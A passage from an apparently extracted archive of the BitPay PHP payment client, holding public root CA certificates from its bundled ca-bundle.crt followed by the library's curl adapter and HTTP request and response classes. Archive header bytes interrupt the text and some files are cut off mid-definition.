b3QgQ0EgMiBHMzAeFw0xMjAxMTIxODU5MzJaFw00MjAxMTIxODU5MzJaMEgxCzAJBgNVBAYTAkJN MRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDIg RzMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQChriWyARjcV4g/Ruv5r+LrI3HimtFh ZiFfqq8nUeVuGxbULX1QsFN3vXg6YOJkApt8hpvWGo6t/x8Vf9WVHhLL5hSEBMHfNrMWn4rjyduY NM7YMxcoRvynyfDStNVNCXJJ+fKH46nafaF9a7I6JaltUkSs+L5u+9ymc5GQYaYDFCDy54ejiK2t oIz/pgslUiXnFgHVy7g1gQyjO/Dh4fxaXc6AcW34Sas+O7q414AB+6XrW7PFXmAqMaCvN+ggOp+o MiwMzAkd056OXbxMmO7FGmh77FOm6RQ1o9/NgJ8MSPsc9PG/Srj61YxxSscfrf5BmrODXfKEVu+l V0POKa2Mq1W/xPtbAd0jIaFYAI7D0GoT7RPjEiuA3GfmlbLNHiJuKvhB1PLKFAeNilUSxmn1uIZo L1NesNKqIcGY5jDjZ1XHm26sGahVpkUG0CM62+tlXSoREfA7T8pt9DTEceT/AFr2XK4jYIVz8eQQ sSWu1ZK7E8EM4DnatDlXtas1qnIhO4M15zHfeiFuuDIIfR0ykRVKYnLP43ehvNURG3YBZwjgQQvD 6xVu+KQZ2aKrr+InUlYrAoosFCT5v0ICvybIxo/gbjh9Uy3l7ZizlWNof/k19N+IxWA1ksB8aRxh lRbQ694Lrz4EEEVlWFA4r0jyWbYW8jwNkALGcC4BrTwV1wIDAQABo0IwQDAPBgNVHRMBAf8EBTAD AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQU7edvdlq/YOxJW8ald7tyFnGbxD0wDQYJKoZI hvcNAQELBQADggIBAJHfgD9DCX5xwvfrs4iP4VGyvD11+ShdyLyZm3tdquXK4Qr36LLTn91nMX66 AarHakE7kNQIXLJgapDwyM4DYvmL7ftuKtwGTTwpD4kWilhMSA/ohGHqPHKmd+RCroijQ1h5fq7K pVMNqT1wvSAZYaRsOPxDMuHBR//47PERIjKWnML2W2mWeyAMQ0GaW/ZZGYjeVYg3UQt4XAoeo0L9 x52ID8DyeAIkVJOviYeIyUqAHerQbj5hLja7NQ4nlv1mNDthcnPxFlxHBlRJAHpYErAK74X9sbgz dWqTHBLmYF5vHX/JHyPLhGGfHoJE+V+tYlUkmlKY7VHnoX6XOuYvHxHaU4AshZ6rNRDbIl9qxV6X U/IyAgkwo1jwDQHVcsaxfGl7w/U2Rcxhbl5MlMVerugOXou/983g7aEOGzPuVBj+D77vfoRrQ+Nw mNtddbINWQeFFSM51vHfqSYP1kjHs6Yi9TM3WpVHn3u6GBVv/9YUZINJ0gpnIdsPNWNgKCLjsZWD zYWm3S8P52dSbrsvhXz1SnPnxT7AvSESBT/8twNJAlvIJebiVDj1eYeMHVOyToV7BjjHLPj4sHKN JeV3UvQDHEimUF+IIDBu8oJDqz2XhOdT+yHBTw8imoa4WSr2Rz0ZiC3oheGe7IUIarFsNMkd7Egr O3jtZsSOeWmD3n+M -----END CERTIFICATE----- QuoVadis Root CA 3 G3 ===================== -----BEGIN CERTIFICATE----- MIIFYDCCA0igAwIBAgIULvWbAiin23r/1aOp7r0DoM8Sah0wDQYJKoZIhvcNAQELBQAwSDELMAkG A1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAcBgNVBAMTFVF1b1ZhZGlzIFJv b3QgQ0EgMyBHMzAeFw0xMjAxMTIyMDI2MzJaFw00MjAxMTIyMDI2MzJaMEgxCzAJBgNVBAYTAkJN MRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDMg RzMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCzyw4QZ47qFJenMioKVjZ/aEzHs286 IxSR/xl/pcqs7rN2nXrpixurazHb+gtTTK/FpRp5PIpM/6zfJd5O2YIyC0TeytuMrKNuFoM7pmRL Mon7FhY4futD4tN0SsJiCnMK3UmzV9KwCoWdcTzeo8vAMvMBOSBDGzXRU7Ox7sWTaYI+FrUoRqHe 6okJ7UO4BUaKhvVZR74bbwEhELn9qdIoyhA5CcoTNs+cra1AdHkrAj80//ogaX3T7mH1urPnMNA3 I4ZyYUUpSFlob3emLoG+B01vr87ERRORFHAGjx+f+IdpsQ7vw4kZ6+ocYfx6bIrc1gMLnia6Et3U VDmrJqMz6nWB2i3ND0/kA9HvFZcba5DFApCTZgIhsUfei5pKgLlVj7WiL8DWM2fafsSntARE60f7 5li59wzweyuxwHApw0BiLTtIadwjPEjrewl5qW3aqDCYz4ByA4imW0aucnl8CAMhZa634RylsSqi Md5mBPfAdOhx3v89WcyWJhKLhZVXGqtrdQtEPREoPHtht+KPZ0/l7DxMYIBpVzgeAVuNVejH38DM dyM0SXV89pgR6y3e7UEuFAUCf+D+IOs15xGsIs5XPd7JMG0QA4XN8f+MFrXBsj6IbGB/kE+V9/Yt rQE5BwT6dYB9v0lQ7e/JxHwc64B+27bQ3RP+ydOc17KXqQIDAQABo0IwQDAPBgNVHRMBAf8EBTAD AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUxhfQvKjqAkPyGwaZXSuQILnXnOQwDQYJKoZI hvcNAQELBQADggIBADRh2Va1EodVTd2jNTFGu6QHcrxfYWLopfsLN7E8trP6KZ1/AvWkyaiTt3px KGmPc+FSkNrVvjrlt3ZqVoAh313m6Tqe5T72omnHKgqwGEfcIHB9UqM+WXzBusnIFUBhynLWcKzS t/Ac5IYp8M7vaGPQtSCKFWGafoaYtMnCdvvMujAWzKNhxnQT5WvvoxXqA/4Ti2Tk08HS6IT7SdEQ TXlm66r99I0xHnAUrdzeZxNMgRVhvLfZkXdxGYFgu/BYpbWcC/ePIlUnwEsBbTuZDdQdm2NnL9Du DcpmvJRPpq3t/O5jrFc/ZSXPsoaP0Aj/uHYUbt7lJ+yreLVTubY/6CD50qi+YUbKh4yE8/nxoGib Ih6BJpsQBJFxwAYf3KDTuVan45gtf4Od34wrnDKOMpTwATwiKp9Dwi7DmDkHOHv8XgBCH/MyJnmD hPbl8MFREsALHgQjDFSlTC9JxUrRtm5gDWv8a4uFJGS3iQ6rJUdbPM9+Sb3H6QrG2vd+DhcI00iX 0HGS8A85PjRqHH3Y8iKuu2n0M7SmSFXRDw4m6Oy2Cy2nhTXN/VnIn9HNPlopNLk9hM6xZdRZkZFW dSHBd575euFgndOtBBj0fOtek49TSiIp+EgrPk2GrFt/ywaZWWDYWGWVjUTR939+J399roD1B0y2 PpxxVJkES/1Y+Zj0 -----END CERTIFICATE----- DigiCert Assured ID Root G2 =========================== -----BEGIN CERTIFICATE----- MIIDljCCAn6gAwIBAgIQC5McOtY5Z+pnI7/Dr5r0SzANBgkqhkiG9w0BAQsFADBlMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQw IgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzIwHhcNMTMwODAxMTIwMDAwWhcNMzgw MTE1MTIwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQL ExB3d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzIw ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDZ5ygvUj82ckmIkzTz+GoeMVSAn61UQbVH 35ao1K+ALbkKz3X9iaV9JPrjIgwrvJUXCzO/GU1BBpAAvQxNEP4HteccbiJVMWWXvdMX0h5i89vq bFCMP4QMls+3ywPgym2hFEwbid3tALBSfK+RbLE4E9HpEgjAALAcKxHad3A2m67OeYfcgnDmCXRw VWmvo2ifv922ebPynXApVfSr/5Vh88lAbx3RvpO704gqu52/clpWcTs/1PPRCv4o76Pu2ZmvA9OP YLfykqGxvYmJHzDNw6YuYjOuFgJ3RFrngQo8p0Quebg/BLxcoIfhG69Rjs3sLPr4/m3wOnyqi+Rn lTGNAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBTO w0q5mVXyuNtgv6l+vVa1lzan1jANBgkqhkiG9w0BAQsFAAOCAQEAyqVVjOPIQW5pJ6d1Ee88hjZv 0p3GeDgdaZaikmkuOGybfQTUiaWxMTeKySHMq2zNixya1r9I0jJmwYrA8y8678Dj1JGG0VDjA9tz d29KOVPt3ibHtX2vK0LRdWLjSisCx1BL4GnilmwORGYQRI+tBev4eaymG+g3NJ1TyWGqolKvSnAW hsI6yLETcDbYz+70CjTVW0z9B5yiutkBclzzTcHdDrEcDcRjvq30FPuJ7KJBDkzMyFdA0G4Dqs0M jomZmWzwPDCvON9vvKO+KSAnq3T/EyJ43pdSVR6DtVQgA+6uwE9W3jfMw3+qBCe703e4YtsXfJwo IhNzbM8m9Yop5w== -----END CERTIFICATE----- DigiCert Assured ID Root G3 =========================== -----BEGIN CERTIFICATE----- MIICRjCCAc2gAwIBAgIQC6Fa+h3foLVJRK/NJKBs7DAKBggqhkjOPQQDAzBlMQswCQYDVQQGEwJV UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQwIgYD VQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1 MTIwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3 d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwdjAQ BgcqhkjOPQIBBgUrgQQAIgNiAAQZ57ysRGXtzbg/WPuNsVepRC0FFfLvC/8QdJ+1YlJfZn4f5dwb RXkLzMZTCp2NXQLZqVneAlr2lSoOjThKiknGvMYDOAdfVdp+CW7if17QRSAPWXYQ1qAk8C3eNvJs KTmjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBTL0L2p4ZgF UaFNN6KDec6NHSrkhDAKBggqhkjOPQQDAwNnADBkAjAlpIFFAmsSS3V0T8gj43DydXLefInwz5Fy YZ5eEJJZVrmDxxDnOOlYJjZ91eQ0hjkCMHw2U/Aw5WJjOpnitqM7mzT6HtoQknFekROn3aRukswy 1vUhZscv6pZjamVFkpUBtA== -----END CERTIFICATE----- DigiCert Global Root G2 ======================= -----BEGIN CERTIFICATE----- MIIDjjCCAnagAwIBAgIQAzrx5qcRqaC7KGSxHQn65TANBgkqhkiG9w0BAQsFADBhMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAw HgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBHMjAeFw0xMzA4MDExMjAwMDBaFw0zODAxMTUx MjAwMDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3 dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEcyMIIBIjANBgkq hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuzfNNNx7a8myaJCtSnX/RrohCgiN9RlUyfuI2/Ou8jqJ kTx65qsGGmvPrC3oXgkkRLpimn7Wo6h+4FR1IAWsULecYxpsMNzaHxmx1x7e/dfgy5SDN67sH0NO 3Xss0r0upS/kqbitOtSZpLYl6ZtrAGCSYP9PIUkY92eQq2EGnI/yuum06ZIya7XzV+hdG82MHauV BJVJ8zUtluNJbd134/tJS7SsVQepj5WztCO7TG1F8PapspUwtP1MVYwnSlcUfIKdzXOS0xZKBgyM UNGPHgm+F6HmIcr9g+UQvIOlCsRnKPZzFBQ9RnbDhxSJITRNrw9FDKZJobq7nMWxM4MphQIDAQAB o0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUTiJUIBiV5uNu 5g/6+rkS7QYXjzkwDQYJKoZIhvcNAQELBQADggEBAGBnKJRvDkhj6zHd6mcY1Yl9PMWLSn/pvtsr F9+wX3N3KjITOYFnQoQj8kVnNeyIv/iPsGEMNKSuIEyExtv4NeF22d+mQrvHRAiGfzZ0JFrabA0U WTW98kndth/Jsw1HKj2ZL7tcu7XUIOGZX1NGFdtom/DzMNU+MeKNhJ7jitralj41E6Vf8PlwUHBH QRFXGU7Aj64GxJUTFy8bJZ918rGOmaFvE7FBcf6IKshPECBV1/MUReXgRPTqh5Uykw7+U0b6LJ3/ iyK5S9kJRaTepLiaWN0bfVKfjllDiIGknibVb63dDcY3fe0Dkhvld1927jyNxF1WW6LZZm6zNTfl MrY= -----END CERTIFICATE----- DigiCert Global Root G3 ======================= -----BEGIN CERTIFICATE----- MIICPzCCAcWgAwIBAgIQBVVWvPJepDU1w6QP1atFcjAKBggqhkjOPQQDAzBhMQswCQYDVQQGEwJV UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAwHgYD VQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBHMzAeFw0xMzA4MDExMjAwMDBaFw0zODAxMTUxMjAw MDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5k aWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEczMHYwEAYHKoZIzj0C AQYFK4EEACIDYgAE3afZu4q4C/sLfyHS8L6+c/MzXRq8NOrexpu80JX28MzQC7phW1FGfp4tn+6O YwwX7Adw9c+ELkCDnOg/QW07rdOkFFk2eJ0DQ+4QE2xy3q6Ip6FrtUPOZ9wj/wMco+I+o0IwQDAP BgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUs9tIpPmhxdiuNkHMEWNp Yim8S8YwCgYIKoZIzj0EAwMDaAAwZQIxAK288mw/EkrRLTnDCgmXc/SINoyIJ7vmiI1Qhadj+Z4y 3maTD/HMsQmP3Wyr+mt/oAIwOWZbwmSNuJ5Q3KjVSaLtx9zRSX8XAbjIho9OjIgrqJqpisXRAL34 VOKa5Vt8sycX -----END CERTIFICATE----- DigiCert Trusted Root G4 ======================== -----BEGIN CERTIFICATE----- MIIFkDCCA3igAwIBAgIQBZsbV56OITLiOQe9p3d1XDANBgkqhkiG9w0BAQwFADBiMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSEw HwYDVQQDExhEaWdpQ2VydCBUcnVzdGVkIFJvb3QgRzQwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1 MTIwMDAwWjBiMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3 d3cuZGlnaWNlcnQuY29tMSEwHwYDVQQDExhEaWdpQ2VydCBUcnVzdGVkIFJvb3QgRzQwggIiMA0G CSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC/5pBzaN675F1KPDAiMGkz7MKnJS7JIT3yithZwuEp pz1Yq3aaza57G4QNxDAf8xukOBbrVsaXbR2rsnnyyhHS5F/WBTxSD1Ifxp4VpX6+n6lXFllVcq9o k3DCsrp1mWpzMpTREEQQLt+C8weE5nQ7bXHiLQwb7iDVySAdYyktzuxeTsiT+CFhmzTrBcZe7Fsa vOvJz82sNEBfsXpm7nfISKhmV1efVFiODCu3T6cw2Vbuyntd463JT17lNecxy9qTXtyOj4DatpGY QJB5w3jHtrHEtWoYOAMQjdjUN6QuBX2I9YI+EJFwq1WCQTLX2wRzKm6RAXwhTNS8rhsDdV14Ztk6 MUSaM0C/CNdaSaTC5qmgZ92kJ7yhTzm1EVgX9yRcRo9k98FpiHaYdj1ZXUJ2h4mXaXpI8OCiEhtm mnTK3kse5w5jrubU75KSOp493ADkRSWJtppEGSt+wJS00mFt6zPZxd9LBADMfRyVw4/3IbKyEbe7 f/LVjHAsQWCqsWMYRJUadmJ+9oCw++hkpjPRiQfhvbfmQ6QYuKZ3AeEPlAwhHbJUKSWJbOUOUlFH dL4mrLZBdd56rF+NP8m800ERElvlEFDrMcXKchYiCd98THU/Y+whX8QgUWtvsauGi0/C1kVfnSD8 oR7FwI+isX4KJpn15GkvmB0t9dmpsh3lGwIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1Ud DwEB/wQEAwIBhjAdBgNVHQ4EFgQU7NfjgtJxXWRM3y5nP+e6mK4cD08wDQYJKoZIhvcNAQEMBQAD ggIBALth2X2pbL4XxJEbw6GiAI3jZGgPVs93rnD5/ZpKmbnJeFwMDF/k5hQpVgs2SV1EY+CtnJYY ZhsjDT156W1r1lT40jzBQ0CuHVD1UvyQO7uYmWlrx8GnqGikJ9yd+SeuMIW59mdNOj6PWTkiU0Tr yF0Dyu1Qen1iIQqAyHNm0aAFYF/opbSnr6j3bTWcfFqK1qI4mfN4i/RN0iAL3gTujJtHgXINwBQy 7zBZLq7gcfJW5GqXb5JQbZaNaHqasjYUegbyJLkJEVDXCLG4iXqEI2FCKeWjzaIgQdfRnGTZ6iah ixTXTBmyUEFxPT9NcCOGDErcgdLMMpSEDQgJlxxPwO5rIHQw0uA5NBCFIRUBCOhVMt5xSdkoF1BN 5r5N0XWs0Mr7QbhDparTwwVETyw2m+L64kW4I1NsBm9nVX9GtUw/bihaeSbSpKhil9Ie4u1Ki7wb /UdKDd9nZn6yW0HQO+T0O/QEY+nvwlQAUaCKKsnOeMzV6ocEGLPOr0mIr/OSmbaz5mEP0oUA51Aa 5BuVnRmhuZyxm7EAHu/QD09CbMkKvO5D+jpxpchNJqU1/YldvIViHTLSoCtU7ZpXwdv6EM8Zt4tK G48BtieVU+i2iW1bvGjUI+iLUaJW+fCmgKDWHrO8Dw9TdSmq6hN35N6MgSGtBxBHEa2HPQfRdbzP 82Z+ -----END CERTIFICATE----- WoSign ====== -----BEGIN CERTIFICATE----- MIIFdjCCA16gAwIBAgIQXmjWEXGUY1BWAGjzPsnFkTANBgkqhkiG9w0BAQUFADBVMQswCQYDVQQG EwJDTjEaMBgGA1UEChMRV29TaWduIENBIExpbWl0ZWQxKjAoBgNVBAMTIUNlcnRpZmljYXRpb24g QXV0aG9yaXR5IG9mIFdvU2lnbjAeFw0wOTA4MDgwMTAwMDFaFw0zOTA4MDgwMTAwMDFaMFUxCzAJ BgNVBAYTAkNOMRowGAYDVQQKExFXb1NpZ24gQ0EgTGltaXRlZDEqMCgGA1UEAxMhQ2VydGlmaWNh dGlvbiBBdXRob3JpdHkgb2YgV29TaWduMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA vcqNrLiRFVaXe2tcesLea9mhsMMQI/qnobLMMfo+2aYpbxY94Gv4uEBf2zmoAHqLoE1UfcIiePyO CbiohdfMlZdLdNiefvAA5A6JrkkoRBoQmTIPJYhTpA2zDxIIFgsDcSccf+Hb0v1naMQFXQoOXXDX 2JegvFNBmpGN9J42Znp+VsGQX+axaCA2pIwkLCxHC1l2ZjC1vt7tj/id07sBMOby8w7gLJKA84X5 KIq0VC6a7fd2/BVoFutKbOsuEo/Uz/4Mx1wdC34FMr5esAkqQtXJTpCzWQ27en7N1QhatH/YHGkR +ScPewavVIMYe+HdVHpRaG53/Ma/UkpmRqGyZxq7o093oL5d//xWC0Nyd5DKnvnyOfUNqfTq1+ez EC8wQjchzDBwyYaYD8xYTYO7feUapTeNtqwylwA6Y3EkHp43xP901DfA4v6IRmAR3Qg/UDaruHqk lWJqbrDKaiFaafPz+x1wOZXzp26mgYmhiMU7ccqjUu6Du/2gd/Tkb+dC221KmYo0SLwX3OSACCK2 8jHAPwQ+658geda4BmRkAjHXqc1S+4RFaQkAKtxVi8QGRkvASh0JWzko/amrzgD5LkhLJuYwTKVY yrREgk/nkR4zw7CT/xH8gdLKH3Ep3XZPkiWvHYG3Dy+MwwbMLyejSuQOmbp8HkUff6oZRZb9/D0C AwEAAaNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFOFmzw7R 8bNLtwYgFP6HEtX2/vs+MA0GCSqGSIb3DQEBBQUAA4ICAQCoy3JAsnbBfnv8rWTjMnvMPLZdRtP1 LOJwXcgu2AZ9mNELIaCJWSQBnfmvCX0KI4I01fx8cpm5o9dU9OpScA7F9dY74ToJMuYhOZO9sxXq T2r09Ys/L3yNWC7F4TmgPsc9SnOeQHrAK2GpZ8nzJLmzbVUsWh2eJXLOC62qx1ViC777Y7NhRCOj y+EaDveaBk3e1CNOIZZbOVtXHS9dCF4Jef98l7VNg64N1uajeeAz0JmWAjCnPv/So0M/BVoG6kQC 2nz4SNAzqfkHx5Xh9T71XXG68pWpdIhhWeO/yloTunK0jF02h+mmxTwTv97QRCbut+wucPrXnbes 5cVAWubXbHssw1abR80LzvobtCHXt2a49CUwi1wNuepnsvRtrtWhnk/Yn+knArAdBtaP4/tIEp9/ EaEQPkxROpaw0RPxx9gmrjrKkcRpnd8BKWRRb2jaFOwIQZeQjdCygPLPwj2/kWjFgGcexGATVdVh mVd8upUPYUk6ynW8yQqTP2cOEvIo4jEbwFcW3wh8GcF+Dx+FHgo2fFt+J7x6v+Db9NpSvd4MVHAx kUOVyLzwPt0JfjBkUO1/AaQzZ01oT74V77D2AhGiGxMlOtzCWfHjXEa7ZywCRuoeSKbmW9m1vFGi kpbbqsY3Iqb+zCB0oy2pLmvLwIIRIbWTee5Ehr7XHuQe+w== -----END CERTIFICATE----- WoSign China ============ -----BEGIN CERTIFICATE----- MIIFWDCCA0CgAwIBAgIQUHBrzdgT/BtOOzNy0hFIjTANBgkqhkiG9w0BAQsFADBGMQswCQYDVQQG EwJDTjEaMBgGA1UEChMRV29TaWduIENBIExpbWl0ZWQxGzAZBgNVBAMMEkNBIOayg+mAmuagueiv geS5pjAeFw0wOTA4MDgwMTAwMDFaFw0zOTA4MDgwMTAwMDFaMEYxCzAJBgNVBAYTAkNOMRowGAYD VQQKExFXb1NpZ24gQ0EgTGltaXRlZDEbMBkGA1UEAwwSQ0Eg5rKD6YCa5qC56K+B5LmmMIICIjAN BgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0EkhHiX8h8EqwqzbdoYGTufQdDTc7WU1/FDWiD+k 8H/rD195L4mx/bxjWDeTmzj4t1up+thxx7S8gJeNbEvxUNUqKaqoGXqW5pWOdO2XCld19AXbbQs5 uQF/qvbW2mzmBeCkTVL829B0txGMe41P/4eDrv8FAxNXUDf+jJZSEExfv5RxadmWPgxDT74wwJ85 dE8GRV2j1lY5aAfMh09Qd5Nx2UQIsYo06Yms25tO4dnkUkWMLhQfkWsZHWgpLFbE4h4TV2TwYeO5 Ed+w4VegG63XX9Gv2ystP9Bojg/qnw+LNVgbExz03jWhCl3W6t8Sb8D7aQdGctyB9gQjF+BNdeFy b7Ao65vh4YOhn0pdr8yb+gIgthhid5E7o9Vlrdx8kHccREGkSovrlXLp9glk3Kgtn3R46MGiCWOc 76DbT52VqyBPt7D3h1ymoOQ3OMdc4zUPLK2jgKLsLl3Az+2LBcLmc272idX10kaO6m1jGx6KyX2m +Jzr5dVjhU1zZmkR/sgO9MHHZklTfuQZa/HpelmjbX7FF+Ynxu8b22/8DU0GAbQOXDBGVWCvOGU6 yke6rCzMRh+yRpY/8+0mBe53oWprfi1tWFxK1I5nuPHa1UaKJ/kR8slC/k7e3x9cxKSGhxYzoacX GKUN5AXlK8IrC6KVkLn9YDxOiT7nnO4fuwECAwEAAaNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1Ud EwEB/wQFMAMBAf8wHQYDVR0OBBYEFOBNv9ybQV0T6GTwp+kVpOGBwboxMA0GCSqGSIb3DQEBCwUA A4ICAQBqinA4WbbaixjIvirTthnVZil6Xc1bL3McJk6jfW+rtylNpumlEYOnOXOvEESS5iVdT2H6 yAa+Tkvv/vMx/sZ8cApBWNromUuWyXi8mHwCKe0JgOYKOoICKuLJL8hWGSbueBwj/feTZU7n85iY r83d2Z5AiDEoOqsuC7CsDCT6eiaY8xJhEPRdF/d+4niXVOKM6Cm6jBAyvd0zaziGfjk9DgNyp115 j0WKWa5bIW4xRtVZjc8VX90xJc/bYNaBRHIpAlf2ltTW/+op2znFuCyKGo3Oy+dCMYYFaA6eFN0A kLppRQjbbpCBhqcqBT/mhDn4t/lXX0ykeVoQDF7Va/81XwVRHmyjdanPUIPTfPRm94KNPQx96N97 qA4bLJyuQHCH2u2nFoJavjVsIE4iYdm8UXrNemHcSxH5/mc0zy4EZmFcV5cjjPOGG0jfKq+nwf/Y jj4Du9gqsPoUJbJRa4ZDhS4HIxaAjUz7tGM7zMN07RujHv41D198HRaG9Q7DlfEvr10lO1Hm13ZB ONFLAzkopR6RctR9q5czxNM+4Gm2KHmgCY0c0f9BckgG/Jou5yD5m6Leie2uPAmvylezkolwQOQv T8Jwg0DXJCxr5wkf09XHwQj02w47HAcLQxGEIYbpgNR12KvxAmLBsX5VYc8T1yaw15zLKYs4SgsO kI26oQ== -----END CERTIFICATE----- PK\D9payment/bitpay/Bitpay/Client/Adapter/AdapterInterface.phpnu[curlOptions = $curlOptions; } /** * Returns an array of curl settings to use * * @return array */ public function getCurlOptions() { return $this->curlOptions; } /** * @inheritdoc */ public function sendRequest(RequestInterface $request) { $curl = curl_init(); $default_curl_options = $this->getCurlDefaultOptions($request); foreach ($this->getCurlOptions() as $curl_option_key => $curl_option_value) { if (!is_null($curl_option_value)) { $default_curl_options[$curl_option_key] = $curl_option_value; } } curl_setopt_array($curl, $default_curl_options); if (RequestInterface::METHOD_POST == $request->getMethod()) { curl_setopt_array( $curl, array( CURLOPT_POST => 1, CURLOPT_POSTFIELDS => $request->getBody(), ) ); } $raw = curl_exec($curl); if (false === $raw) { $errorMessage = curl_error($curl); curl_close($curl); throw new \Bitpay\Client\ConnectionException($errorMessage); } /** @var ResponseInterface */ $response = Response::createFromRawResponse($raw); curl_close($curl); return $response; } /** * Returns an array of default curl settings to use * * @param RequestInterface $request * @return array */ private function getCurlDefaultOptions(RequestInterface $request) { return array( CURLOPT_URL => $request->getUri(), CURLOPT_PORT => $request->getPort(), CURLOPT_CUSTOMREQUEST => $request->getMethod(), CURLOPT_HTTPHEADER => $request->getHeaderFields(), CURLOPT_TIMEOUT => 10, CURLOPT_SSL_VERIFYPEER => 1, CURLOPT_SSL_VERIFYHOST => 2, CURLOPT_CAINFO => __DIR__.'/ca-bundle.crt', CURLOPT_RETURNTRANSFER => true, CURLOPT_FORBID_REUSE => 1, CURLOPT_FRESH_CONNECT => 1, CURLOPT_HEADER => true, ); } } PK\(1payment/bitpay/Bitpay/Client/RequestInterface.phpnu[ $value array of http headers * * @return array */ public function getHeaders(); } PK\+   )payment/bitpay/Bitpay/Client/Response.phpnu[headers = array(); $this->raw = $raw; } /** * Returns the raw http response * * @return string */ public function __toString() { return (string) $this->raw; } /** */ public static function createFromRawResponse($rawResponse) { $response = new self($rawResponse); $lines = preg_split('/(\\r?\\n)/', $rawResponse); $linesLen = count($lines); for ($i = 0; $i < $linesLen; $i++) { if (0 == $i) { preg_match('/^HTTP\/(\d\.\d)\s(\d+)\s(.+)/', $lines[$i], $statusLine); $response->setStatusCode($statusCode = $statusLine[2]); continue; } if (empty($lines[$i])) { $body = array_slice($lines, $i + 1); $response->setBody(implode("\n", $body)); break; } if (strpos($lines[$i], ':')) { $headerParts = explode(':', $lines[$i]); $response->setHeader($headerParts[0], $headerParts[1]); } } return $response; } /** * @inheritdoc */ public function getStatusCode() { return $this->statusCode; } /** * @param integer * * @return ResponseInterface */ public function setStatusCode($statusCode) { $this->statusCode = (integer) $statusCode; return $this; } /** * @inheritdoc */ public function getBody() { return $this->body; } /** * Set the body of the response * * @param string $body */ public function setBody($body) { $this->body = $body; return $this; } /** * @inheritdoc */ public function getHeaders() { return $this->headers; } /** * @param string $header * @param string $value */ public function setHeader($header, $value) { $this->headers[$header] = $value; return $this; } } PK\sQ:*\\4payment/bitpay/Bitpay/Client/ConnectionException.phpnu[uXX0payment/bitpay/Bitpay/Client/BitpayException.phpnu[ $value array of http headers * * @return array */ public function getHeaders(); } PK\!ZZ2payment/bitpay/Bitpay/Client/ArgumentException.phpnu[headers = array( 'Content-Type' => 'application/json', 'X-BitPay-Plugin-Info' => null, ); $this->port = 443; // Default method is POST $this->method = self::METHOD_POST; } /** * Converts this request into a standard HTTP/1.1 message to be sent over * the wire * * @return string */ public function __toString() { $request = sprintf("%s %s HTTP/1.1\r\n", $this->getMethod(), $this->getUriWithPort()); $request .= $this->getHeadersAsString(); $request .= $this->getBody(); return trim($request); } /** * @inheritdoc */ public function isMethod($method) { return (strtoupper($method) == strtoupper($this->method)); } /** * @inheritdoc */ public function getPort() { return $this->port; } /** * This is called in the Adapter * * @inheritdoc */ public function setPort($port) { $this->port = $port; } /** * @inheritdoc */ public function getMethod() { return $this->method; } /** * Set the method of the request, for known methods see the * RequestInterface * * @param string $method */ public function setMethod($method) { 